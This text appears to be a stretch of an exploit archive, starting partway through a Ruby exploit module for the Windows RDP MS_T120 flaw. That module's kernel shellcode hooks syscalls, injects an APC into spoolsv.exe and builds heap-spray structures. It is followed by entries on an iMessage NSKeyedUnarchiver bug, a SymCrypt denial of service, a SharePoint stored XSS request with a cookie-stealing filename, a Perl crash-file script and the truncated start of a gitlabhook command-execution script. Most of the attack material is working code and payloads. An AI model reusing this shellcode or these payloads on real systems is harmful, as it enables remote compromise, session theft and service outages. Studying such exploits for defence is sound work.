    ; --------- HACK end rbp

_set_rbp_data_address_fn_next:
    ;shr rbp, 12
    ;shl rbp, 12
    ;sub rbp, 0x70   ; for KAPC struct too
    ret

    ;int 3
    ;call $+5
    ;pop r13
syscall_hook:
    swapgs
    mov qword [gs:0x10], rsp
    mov rsp, qword [gs:0x1a8]
    push 0x2b
    push qword [gs:0x10]

    push rax    ; want this stack space to store original syscall addr
    ; save rax first to make this function continue to real syscall
    push rax
    push rbp    ; save rbp here because rbp is special register for accessing this shellcode data
    call set_rbp_data_address_fn
    mov rax, [rbp+#{data_origin_syscall_offset}]
    add rax, 0x1f   ; adjust syscall entry, so we do not need to reverse start of syscall handler
    mov [rsp+0x10], rax

    ; save all volatile registers
    push rcx
    push rdx
    push r8
    push r9
    push r10
    push r11

    ; use lock cmpxchg for queueing APC only one at a time
    xor eax, eax
    mov dl, 1
    lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl
    jnz _syscall_hook_done

    ;======================================
    ; restore syscall
    ;======================================
    ; an error after restoring syscall should never occur
    mov ecx, 0xc0000082
    mov eax, [rbp+#{data_origin_syscall_offset}]
    mov edx, [rbp+#{data_origin_syscall_offset}+4]
    wrmsr

    ; allow interrupts while executing shellcode
    sti
    call r3_to_r0_start
    cli

_syscall_hook_done:
    pop r11
    pop r10
    pop r9
    pop r8
    pop rdx
    pop rcx
    pop rbp
    pop rax
    ret

r3_to_r0_start:
    ; save used non-volatile registers
    push r15
    push r14
    push rdi
    push rsi
    push rbx
    push rax    ; align stack by 0x10

    ;======================================
    ; find nt kernel address
    ;======================================
    mov r15, qword [rbp+#{data_origin_syscall_offset}]      ; KiSystemCall64 is an address in nt kernel
    shr r15, 0xc                ; strip to page size
    shl r15, 0xc

_x64_find_nt_walk_page:
    sub r15, 0x1000             ; walk along page size
    cmp word [r15], 0x5a4d      ; 'MZ' header
    jne _x64_find_nt_walk_page

    ; save nt address for using in KernelApcRoutine
    mov [rbp+#{data_nt_kernel_addr_offset}], r15

    ;======================================
    ; get current EPROCESS and ETHREAD
    ;======================================
    mov r14, qword [gs:0x188]    ; get _ETHREAD pointer from KPCR
    mov edi, #{psgetcurrentprocess_hash}
    call win_api_direct
    xchg rcx, rax       ; rcx = EPROCESS

    ; r15 : nt kernel address
    ; r14 : ETHREAD
    ; rcx : EPROCESS

    ;======================================
    ; find offset of EPROCESS.ImageFilename
    ;======================================
    mov edi, #{psgetprocessimagefilename_hash}
    call get_proc_addr
    mov eax, dword [rax+3]  ; get offset from code (offset of ImageFilename is always > 0x7f)
    mov ebx, eax        ; ebx = offset of EPROCESS.ImageFilename


    ;======================================
    ; find offset of EPROCESS.ThreadListHead
    ;======================================
    ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)
    ; if offset of ImageFilename is more than 0x400, current is (Win8+)

    cmp eax, 0x400      ; eax is still an offset of EPROCESS.ImageFilename
    jb _find_eprocess_threadlist_offset_win7
    add eax, 0x10
_find_eprocess_threadlist_offset_win7:
    lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead

    ;======================================
    ; find offset of ETHREAD.ThreadListEntry
    ;======================================

    lea r8, [rcx+rdx]   ; r8 = address of EPROCESS.ThreadListHead
    mov r9, r8

    ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700
_find_ethread_threadlist_offset_loop:
    mov r9, qword [r9]

    cmp r8, r9          ; check end of list
    je _insert_queue_apc_done    ; not found !!!

    ; if (r9 - r14 < 0x700) found
    mov rax, r9
    sub rax, r14
    cmp rax, 0x700
    ja _find_ethread_threadlist_offset_loop
    sub r14, r9         ; r14 = -(offset of ETHREAD.ThreadListEntry)


    ;======================================
    ; find offset of EPROCESS.ActiveProcessLinks
    ;======================================
    mov edi, #{psgetprocessid_hash}
    call get_proc_addr
    mov edi, dword [rax+3]  ; get offset from code (offset of UniqueProcessId is always > 0x7f)
    add edi, 8      ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)


    ;======================================
    ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
    ;======================================
    ; check process name


    xor eax, eax      ; HACK to exit earlier if process not found

_find_target_process_loop:
    lea rsi, [rcx+rbx]

    push rax
    call calc_hash
    cmp eax, #{spoolsv_exe_hash}  ; "spoolsv.exe"
    pop rax
    jz found_target_process

;---------- HACK PROCESS NOT FOUND start -----------
    inc rax
    cmp rax, 0x300      ; HACK not found!
    jne _next_find_target_process
    xor ecx, ecx
    ; clear queueing kapc flag, allow other hijacked system call to run shellcode
    mov byte [rbp+#{data_queueing_kapc_offset}], cl

    jmp _r3_to_r0_done

;---------- HACK PROCESS NOT FOUND end -----------

_next_find_target_process:
    ; next process
    mov rcx, [rcx+rdi]
    sub rcx, rdi
    jmp _find_target_process_loop


found_target_process:
    ; The allocation for userland payload will be in KernelApcRoutine.
    ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()

    ;======================================
    ; save process PEB for finding CreateThread address in kernel KAPC routine
    ;======================================
    mov edi, #{psgetprocesspeb_hash}
    ; rcx is EPROCESS. no need to set it.
    call win_api_direct
    mov [rbp+#{data_peb_addr_offset}], rax


    ;======================================
    ; iterate ThreadList until KeInsertQueueApc() success
    ;======================================
    ; r15 = nt
    ; r14 = -(offset of ETHREAD.ThreadListEntry)
    ; rcx = EPROCESS
    ; edx = offset of EPROCESS.ThreadListHead


    lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address
    mov rbx, rsi    ; use rbx for iterating thread

    ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
    ; Moreover, alertable thread need to be waiting state which is more difficult to check.
    ; try queueing APC then check KAPC member is more reliable.

_insert_queue_apc_loop:
    ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
    mov rbx, [rbx+8]

    cmp rsi, rbx
    je _insert_queue_apc_loop   ; skip list head

    ; find start of ETHREAD address
    ; set it to rdx to be used for KeInitializeApc() argument too
    lea rdx, [rbx + r14]    ; ETHREAD

    ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
    ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
    ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
    ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
    ; Teb member is next to Queue member.
    mov edi, #{psgetthreadteb_hash}
    call get_proc_addr
    mov eax, dword [rax+3]      ; get offset from code (offset of Teb is always > 0x7f)
    cmp qword [rdx+rax-8], 0    ; KTHREAD.Queue MUST not be NULL
    je _insert_queue_apc_loop

    ; KeInitializeApc(PKAPC,
    ;                 PKTHREAD,
    ;                 KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
    ;                 PKKERNEL_ROUTINE = kernel_apc_routine,
    ;                 PKRUNDOWN_ROUTINE = NULL,
    ;                 PKNORMAL_ROUTINE = userland_shellcode,
    ;                 KPROCESSOR_MODE = UserMode (1),
    ;                 PVOID Context);
    lea rcx, [rbp+#{data_kapc_offset}]     ; PAKC
    xor r8, r8      ; OriginalApcEnvironment
    lea r9, [rel kernel_kapc_routine]    ; KernelApcRoutine
    push rbp    ; context
    push 1      ; UserMode
    push rbp    ; userland shellcode (MUST NOT be NULL)
    push r8     ; NULL
    sub rsp, 0x20   ; shadow stack
    mov edi, #{keinitializeapc_hash}
    call win_api_direct
    ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later

    ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
    ;   SystemArgument1 is second argument in usermode code (rdx)
    ;   SystemArgument2 is third argument in usermode code (r8)
    lea rcx, [rbp+#{data_kapc_offset}]
    ;xor edx, edx   ; no need to set it here
    ;xor r8, r8     ; no need to set it here
    xor r9, r9
    mov edi, #{keinsertqueueapc_hash}
    call win_api_direct
    add rsp, 0x40
    ; if insertion failed, try next thread
    test eax, eax
    jz _insert_queue_apc_loop

    mov rax, [rbp+#{data_kapc_offset}+0x10]     ; get KAPC.ApcListEntry
    ; EPROCESS pointer 8 bytes
    ; InProgressFlags 1 byte
    ; KernelApcPending 1 byte
    ; if success, UserApcPending MUST be 1
    cmp byte [rax+0x1a], 1
    je _insert_queue_apc_done

    ; manual remove list without lock
    mov [rax], rax
    mov [rax+8], rax
    jmp _insert_queue_apc_loop

_insert_queue_apc_done:
    ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.

_r3_to_r0_done:
    pop rax
    pop rbx
    pop rsi
    pop rdi
    pop r14
    pop r15
    ret

;========================================================================
; Call function in specific module
;
; All function arguments are passed as calling normal function with extra register arguments
; Extra Arguments: r15 = module pointer
;                  edi = hash of target function name
;========================================================================
win_api_direct:
    call get_proc_addr
    jmp rax


;========================================================================
; Get function address in specific module
;
; Arguments: r15 = module pointer
;            edi = hash of target function name
; Return: eax = offset
;========================================================================
get_proc_addr:
    ; Save registers
    push rbx
    push rcx
    push rsi                ; for using calc_hash

    ; use rax to find EAT
    mov eax, dword [r15+60]  ; Get PE header e_lfanew
    mov eax, dword [r15+rax+136] ; Get export tables RVA

    add rax, r15
    push rax                 ; save EAT

    mov ecx, dword [rax+24]  ; NumberOfFunctions
    mov ebx, dword [rax+32]  ; FunctionNames
    add rbx, r15

_get_proc_addr_get_next_func:
    ; When we reach the start of the EAT (we search backwards), we hang or crash
    dec ecx                     ; decrement NumberOfFunctions
    mov esi, dword [rbx+rcx*4]  ; Get rva of next module name
    add rsi, r15                ; Add the modules base address

    call calc_hash

    cmp eax, edi                        ; Compare the hashes
    jnz _get_proc_addr_get_next_func    ; try the next function

_get_proc_addr_finish:
    pop rax                     ; restore EAT
    mov ebx, dword [rax+36]
    add rbx, r15                ; ordinate table virtual address
    mov cx, word [rbx+rcx*2]    ; desired functions ordinal
    mov ebx, dword [rax+28]     ; Get the function addresses table rva
    add rbx, r15                ; Add the modules base address
    mov eax, dword [rbx+rcx*4]  ; Get the desired functions RVA
    add rax, r15                ; Add the modules base address to get the functions actual VA

    pop rsi
    pop rcx
    pop rbx
    ret

;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
;
; Argument: rsi = string to hash
; Clobber: rsi
; Return: eax = hash
;========================================================================
calc_hash:
    push rdx
    xor eax, eax
    cdq
_calc_hash_loop:
    lodsb                   ; Read in the next byte of the ASCII string
    ror edx, 13             ; Rotate right our hash value
    add edx, eax            ; Add the next byte of the string
    test eax, eax           ; Stop when found NULL
    jne _calc_hash_loop
    xchg edx, eax
    pop rdx
    ret


; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
; Moreover, there is no lock when calling KernelApcRoutine.
; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.
;
; VOID KernelApcRoutine(
;           IN PKAPC Apc,
;           IN PKNORMAL_ROUTINE *NormalRoutine,
;           IN PVOID *NormalContext,
;           IN PVOID *SystemArgument1,
;           IN PVOID *SystemArgument2)
kernel_kapc_routine:
    push rbp
    push rbx
    push rdi
    push rsi
    push r15

    mov rbp, [r8]       ; *NormalContext is our data area pointer

    mov r15, [rbp+#{data_nt_kernel_addr_offset}]
    push rdx
    pop rsi     ; mov rsi, rdx
    mov rbx, r9

    ;======================================
    ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
    ;======================================
    xor eax, eax
    mov cr8, rax    ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
    ; rdx is already address of baseAddr
    mov [rdx], rax      ; baseAddr = 0
    mov ecx, eax
    not rcx             ; ProcessHandle = -1
    mov r8, rax         ; ZeroBits
    mov al, 0x40    ; eax = 0x40
    push rax            ; PAGE_EXECUTE_READWRITE = 0x40
    shl eax, 6      ; eax = 0x40 << 6 = 0x1000
    push rax            ; MEM_COMMIT = 0x1000
    ; reuse r9 for address of RegionSize
    mov [r9], rax       ; RegionSize = 0x1000
    sub rsp, 0x20   ; shadow stack
    mov edi, #{zwallocatevirtualmemory_hash}
    call win_api_direct
    add rsp, 0x30

    ; check error
    test eax, eax
    jnz _kernel_kapc_routine_exit

    ;======================================
    ; copy userland payload
    ;======================================
    mov rdi, [rsi]

;--------------------------- HACK IN EGG USER ---------

    push rdi

    lea rsi, [rel shellcode_start]
    mov rdi, 0x#{USERMODE_EGG.to_s(16)}

  _find_user_egg_loop:
      sub rsi, 0x#{CHUNK_SIZE.to_s(16)}
      mov rax, [rsi - 8]
      cmp rax, rdi
      jnz _find_user_egg_loop

  _inner_find_user_egg_loop:
      inc rsi
      mov rax, [rsi - 8]
      cmp rax, rdi
      jnz _inner_find_user_egg_loop

    pop rdi
;--------------------------- END HACK EGG USER ------------

    mov ecx, 0x380  ; fix payload size to 0x380 bytes

    rep movsb

    ;======================================
    ; find CreateThread address (in kernel32.dll)
    ;======================================
    mov rax, [rbp+#{data_peb_addr_offset}]
    mov rax, [rax + 0x18]       ; PEB->Ldr
    mov rax, [rax + 0x20]       ; InMemoryOrder list

    ;lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address
    ;mov rbx, rsi    ; use rbx for iterating thread
_find_kernel32_dll_loop:
    mov rax, [rax]       ; first one always be executable
    ; offset 0x38 (WORD)  => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
    ; offset 0x48 (WORD)  => must be 0x18 (name len kernel32.dll)
    ; offset 0x50  => is name
    ; offset 0x20  => is dllbase
    ;cmp word [rax+0x38], 0x40
    ;jne _find_kernel32_dll_loop
    cmp word [rax+0x48], 0x18
    jne _find_kernel32_dll_loop

    mov rdx, [rax+0x50]
    ; check only "32" because name might be lowercase or uppercase
    cmp dword [rdx+0xc], 0x00320033   ; 3\x002\x00
    jnz _find_kernel32_dll_loop

    ;int3
    mov r15, [rax+0x20]
    mov edi, #{createthread_hash}
    call get_proc_addr

    ; save CreateThread address to SystemArgument1
    mov [rbx], rax

_kernel_kapc_routine_exit:
    xor ecx, ecx
    ; clear queueing kapc flag, allow other hijacked system call to run shellcode
    mov byte [rbp+#{data_queueing_kapc_offset}], cl
    ; restore IRQL to APC_LEVEL
    mov cl, 1
    mov cr8, rcx

    pop r15
    pop rsi
    pop rdi
    pop rbx
    pop rbp
    ret

userland_start_thread:
    ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
    xchg rdx, rax   ; rdx is CreateThread address passed from kernel
    xor ecx, ecx    ; lpThreadAttributes = NULL
    push rcx        ; lpThreadId = NULL
    push rcx        ; dwCreationFlags = 0
    mov r9, rcx     ; lpParameter = NULL
    lea r8, [rel userland_payload]  ; lpStartAddr
    mov edx, ecx    ; dwStackSize = 0
    sub rsp, 0x20
    call rax
    add rsp, 0x30
    ret

userland_payload:
    ^

    [
      KERNELMODE_EGG,
      assemble_with_fixups(asm)
    ].pack('<Qa*')
  end

  def create_free_trigger(chan_user_id, chan_id)
    # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)
    vprint_status("Creating free trigger for user #{chan_user_id} on channel #{chan_id}")
    # The extra bytes on the end of the body is what causes the bad things to happen
    body = "\x00\x00\x00\x00\x00\x00\x00\x00\x02" + "\x00" * 22
    rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)
  end

  def create_exploit_channel_buffer(target_addr)
    overspray_addr = target_addr + 0x2000
    shellcode_vtbl = target_addr + HEADER_SIZE
    magic_value1 = overspray_addr + 0x810
    magic_value2 = overspray_addr + 0x48
    magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE

    # first 0x38 bytes are used by DATA PDU packet
    # exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE
    # http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm
    [
      [
        # SystemResourceList (2 pointers, each 8 bytes)
        # Pointer to OWNER_ENTRY (8 bytes)
        # ActiveCount (SHORT, 2 bytes)
        # Flag (WORD, 2 bytes)
        # Padding (BYTE[4], 4 bytes) x64 only
        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
        magic_value2, # OwnerThread (ULONG, 8 bytes)
        magic_value2, # TableSize (ULONG, 8 bytes)
        0x0, # ActiveEntries (DWORD, 4 bytes)
        0x0, # ContenttionCount (DWORD, 4 bytes)
        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
        0x0, # Reserved2 (PVOID, 8 bytes) x64 only
        magic_value2, # Address (PVOID, 8 bytes)
        0x0, # SpinLock (UINT_PTR, 8 bytes)
      ].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
      [
        magic_value2, # SystemResourceList (2 pointers, each 8 bytes)
        magic_value2, # --------------------
        0x0, # Pointer to OWNER_ENTRY (8 bytes)
        0x0, # ActiveCount (SHORT, 2 bytes)
        0x0, # Flag (WORD, 2 bytes)
        0x0, # Padding (BYTE[4], 4 bytes) x64 only
        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
        magic_value2, # OwnerThread (ULONG, 8 bytes)
        magic_value2, # TableSize (ULONG, 8 bytes)
        0x0, # ActiveEntries (DWORD, 4 bytes)
        0x0, # ContenttionCount (DWORD, 4 bytes)
        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
        0x0, # Reserved2 (PVOID, 8 bytes) x64 only
        magic_value2, # Address (PVOID, 8 bytes)
        0x0, # SpinLock (UINT_PTR, 8 bytes)
      ].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
      [
        0x1F, # ClassOffset (DWORD, 4 bytes)
        0x0, # bindStatus (DWORD, 4 bytes)
        0x72, # lockCount1 (QWORD, 8 bytes)
        magic_value3, # connection (QWORD, 8 bytes)
        shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)
        0x5, # channelClass (DWORD, 4 bytes)
        "MS_T120\x00".encode('ASCII'), # channelName (BYTE[8], 8 bytes)
        0x1F, # channelIndex (DWORD, 4 bytes)
        magic_value1, # channels (QWORD, 8 bytes)
        magic_value1, # connChannelsAddr (POINTER, 8 bytes)
        magic_value1, # list1 (QWORD, 8 bytes)
        magic_value1, # list1 (QWORD, 8 bytes)
        magic_value1, # list2 (QWORD, 8 bytes)
        magic_value1, # list2 (QWORD, 8 bytes)
        0x65756c62, # inputBufferLen (DWORD, 4 bytes)
        0x7065656b, # inputBufferLen (DWORD, 4 bytes)
        magic_value1, # connResrouce (QWORD, 8 bytes)
        0x65756c62, # lockCount158 (DWORD, 4 bytes)
        0x7065656b, # dword15C (DWORD, 4 bytes)
      ].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')
    ].join('')
  end

end
            
When an NSKeyedUnarchiver decodes an object, it first allocates the object using allocWithZone, and then puts the object into a dictionary for temporary objects. It then calls the appropriate initWithCoder: on the allocated object. If initWithCoder: or any method it calls decodes the same object, its gets back a reference to the original object in the temporary object dictionary. For many classes, this is a placeholder object that will throw an "uninitialized" exception when accessed, but for some classes, this is the object that will eventually be returned by initWithCoder:. This means that when an initWithCoder: method decodes an object that has a reference to itself in it, the object might not be fully initialized.

The NSSharedKeyDictionary class is a subclass of NSDictionary that allows for a dictionary to be greatly optimized if the keys it uses are declared up front. The keys are specified in an instance of class NSSharedKeySet. This instance can have a child keyset, and the child keyset can also have a child keyset and so on. This allows for multiple keysets to be used by a single dictionary. When a dictionary is initialized, it adds the length of its keyset as well as child keysets at each level, and initializes a value array of that length. Values are then stored and accessed by calculating a key's index based on its position in it keyset, and accessing that location in the value array.

It is possible to combine these two behaviors to create an NSSharedKeyDictionary with a value array that is too small. When an NS NSSharedKeyDictionary is decoded, it will start by decoding the NSSharedKeySet for that dictionary. That keyset, can in turn decode another dictionary as one of its keys. If the second dictionary decodes the same keyset as its keyset, it will get back a reference to the keyset that is in the process of being initialized. That keyset could have a child keyset, but the child keyset has not been decoded at this stage in initializtion. This leads to the second dictionary calculating the length of its value array based on keyset not having a child keyset, even though it could have one. This means that if a key in the child keyset of this array is accessed in this dictionary, the value returned will be read from unallocated memory on the heap (this memory could also be written if a key in the child keyset is set, but it unusual for decoded dictionaries to be written to).

To reproduce this issue in iMessage:

1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
4) in the local directory, run:

python3 sendMessage.py

This PoC does not crash very reliably in Springboard, though I think this issue is likely exploitable. To make reproducing this issue easier, I've attached a test program for Mac that reproduces the decoding issue. To reproduce the issue using this program:

1) Build the program:

clang decodeshared.m -o decodeshared -fobjc-arc -framework Corespotlight

2) Run the program with libgmalloc and the attached obj file:

DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib ./decodeshared obj

This will lead to a consistent crash where the out-of-bounds read occurs.

A log of this issue crashing in Springboard is attached.

The NSSharedDictionary initWithCoder implementation is very complex and greatly increases the attack surface of decoding the NSDictionary class. Moreover, it has functional problems that suggest that it is not widely used, and NSSharedDictionary instances can be correctly encoded and decoded with the NSDictionary initWithCoder. I recommend that this issue be resolved by removing custom encoding for the NSSharedDictionary class.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47415.zip
            
There's a bug in the SymCrypt multi-precision arithmetic routines that can cause an infinite loop when calculating the modular inverse on specific bit patterns with bcryptprimitives!SymCryptFdefModInvGeneric.

I've been able to construct an X.509 certificate that triggers the bug. I've found that embedding the certificate in an S/MIME message, authenticode signature, schannel connection, and so on will effectively DoS any windows server (e.g. ipsec, iis, exchange, etc) and (depending on the context) may require the machine to be rebooted. Obviously, lots of software that processes untrusted content (like antivirus) call these routines on untrusted data, and this will cause them to deadlock.

You can verify it like so, and notice the command never completes:

C:\> certutil.exe testcase.crt


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47414.zip
            
# Exploit Title: Microsoft SharePoint 2013 SP1 - 'DestinationFolder' Persistent Cross-Site Scripting
# Author: Davide Cioccia
# Discovery Date: 2019-09-25
# Vendor Homepage: https://www.microsoft.com
# Software Link: https://support.microsoft.com/en-us/help/2880552/description-of-microsoft-sharepoint-server-2013-service-pack-1-sp1
# Tested Version: SP1
# Tested on: Microsoft Windows Server 2016
# CVE: CVE-2019-1262
# Advisory ID: ZSL-2019-5533
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5533.php
# MSRC: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1262

Vendor: Microsoft Corporation
Product web page: https://www.microsoft.com
Affected version: 2013 SP1

Summary: SharePoint is a web-based collaborative platform that
integrates with Microsoft Office. Launched in 2001, SharePoint
is primarily sold as a document management and storage system,
but the product is highly configurable and usage varies substantially
among organizations.

Desc: A cross-site-scripting (XSS) vulnerability exists when Microsoft
SharePoint Server does not properly sanitize a specially crafted web
request to an affected SharePoint server. An authenticated attacker
could exploit the vulnerability by sending a specially crafted request
to an affected SharePoint server. The attacker who successfully exploited
the vulnerability could then perform cross-site scripting attacks on
affected systems and run script in the security context of the current
user. The attacks could allow the attacker to read content that the
attacker is not authorized to read, use the victim's identity to take
actions on the SharePoint site on behalf of the user, such as change
permissions and delete content, and inject malicious content in the
browser of the user.

Sharepoint 2013 SP1 allows users to upload files to the platform, but
does not correctly sanitize the filename when the files are listed. An
authenticated user that has the rights to upload files to the SharePoint
platform, is able to exploit a Stored Cross-Site Scripting vulnerability
in the filename. The filename is reflected in the attribute 'aria-label'
of the following HTML tag.

# PoC request:


POST /FOLDER/_layouts/15/Upload.aspx?List={689D112C-BDAA-4B05-B0CB-0DFB36CF0649}&RootFolder=&IsDlg=1 HTTP/1.1
Host: vulnerable_sharepoint_2013
Connection: close
Content-Length: 31337
Cache-Control: max-age=0
Authorization: Negotiate YIIV9gYGKwYBBQUCo........................JBAq39IdJh3yphI1uHbz/jbQ==
Origin: https://vulnerable_sharepoint_2013.tld
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryewNI1MC6qaHDB50n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Sec-Fetch-Mode: nested-navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,it-IT;q=0.8,it;q=0.7,nl;q=0.6
Cookie: ...

------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOWebPartPage_PostbackSource"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOTlPn_SelectedWpId"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOTlPn_View"

0
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOTlPn_ShowSettings"

False
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOGallery_SelectedLibrary"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOGallery_FilterString"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOTlPn_Button"

none
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__EVENTTARGET"

ctl00$PlaceHolderMain$ctl00$RptControls$btnOK
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__EVENTARGUMENT"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOSPWebPartManager_DisplayModeName"

Browse
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOSPWebPartManager_ExitingDesignMode"

false
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOWebPartPage_Shared"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOLayout_LayoutChanges"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOLayout_InDesignMode"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOSPWebPartManager_OldDisplayModeName"

Browse
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOSPWebPartManager_StartWebPartEditingName"

false
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOSPWebPartManager_EndWebPartEditing"

false
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="_maintainWorkspaceScrollPosition"

0
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__REQUESTDIGEST"

[DIGEST]

------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__VIEWSTATE"

[VIEWSTATE]

------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

E6912F23
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__SCROLLPOSITIONX"

0
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__SCROLLPOSITIONY"

0
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__EVENTVALIDATION"



------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="destination"

[DESTINATION_FOLDER]
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="ctl00$PlaceHolderMain$ctl01$ctl04$InputFile"; filename="' onmouseover=alert(document.cookie) '.jpg"
Content-Type: image/jpeg


ZSL
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="ctl00$PlaceHolderMain$ctl01$ctl04$OverwriteSingle"

on
------WebKitFormBoundaryewNI1MC6qaHDB50n--
            
# Exploit Title: SpotIE Internet Explorer Password Recovery 2.9.5 - 'Key' Denial of Service
# Date: 2019-20-09
# Exploit Author: Emilio Revelo
# Vendor Homepage: http://www.nsauditor.com/
# Software Link : http://www.nsauditor.com/downloads/spotie_setup.exe
# Tested on: Windows 10 Pro x64 es
# Version: 2.9.5

# Steps to produce the DoS: 

# 1.- Run perl script : perl SpotIE.pl
# 2.- Open SpotIE.txt and copy the content to clipboard
# 3.- Open SpotIE Internet Explorer Password Recovery
# 4.- Navigate to Register -> Enter the registration name and key below...
# 5.- Paste ClipBoard on "Key:"
# 7.- Ok
# 8.- Observe the program crash.

#!/usr/local/bin/perl

use strict;
use warnings;

my $filename = 'SpotIE.txt';
open(my $fh, '>', $filename) or die "Could not open file '$filename' $!";
print $fh "E"x256;
close $fh;
print "Done!\n";
print "File: SpotIE.txt\n"
            
# Exploit Title: NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution
# Date: 2019-09-13
# Exploit Author: Semen Alexandrovich Lyhin
# Vendor Homepage: https://www.npmjs.com/package/gitlabhook
# Version: 0.0.17
# Tested on: Kali Linux 2, Windows 10. 
# CVE : CVE-2019-5485

#!/usr/bin/python

import requests

target = "http://TARGET:3420"
cmd = r"touch /tmp/poc.txt"
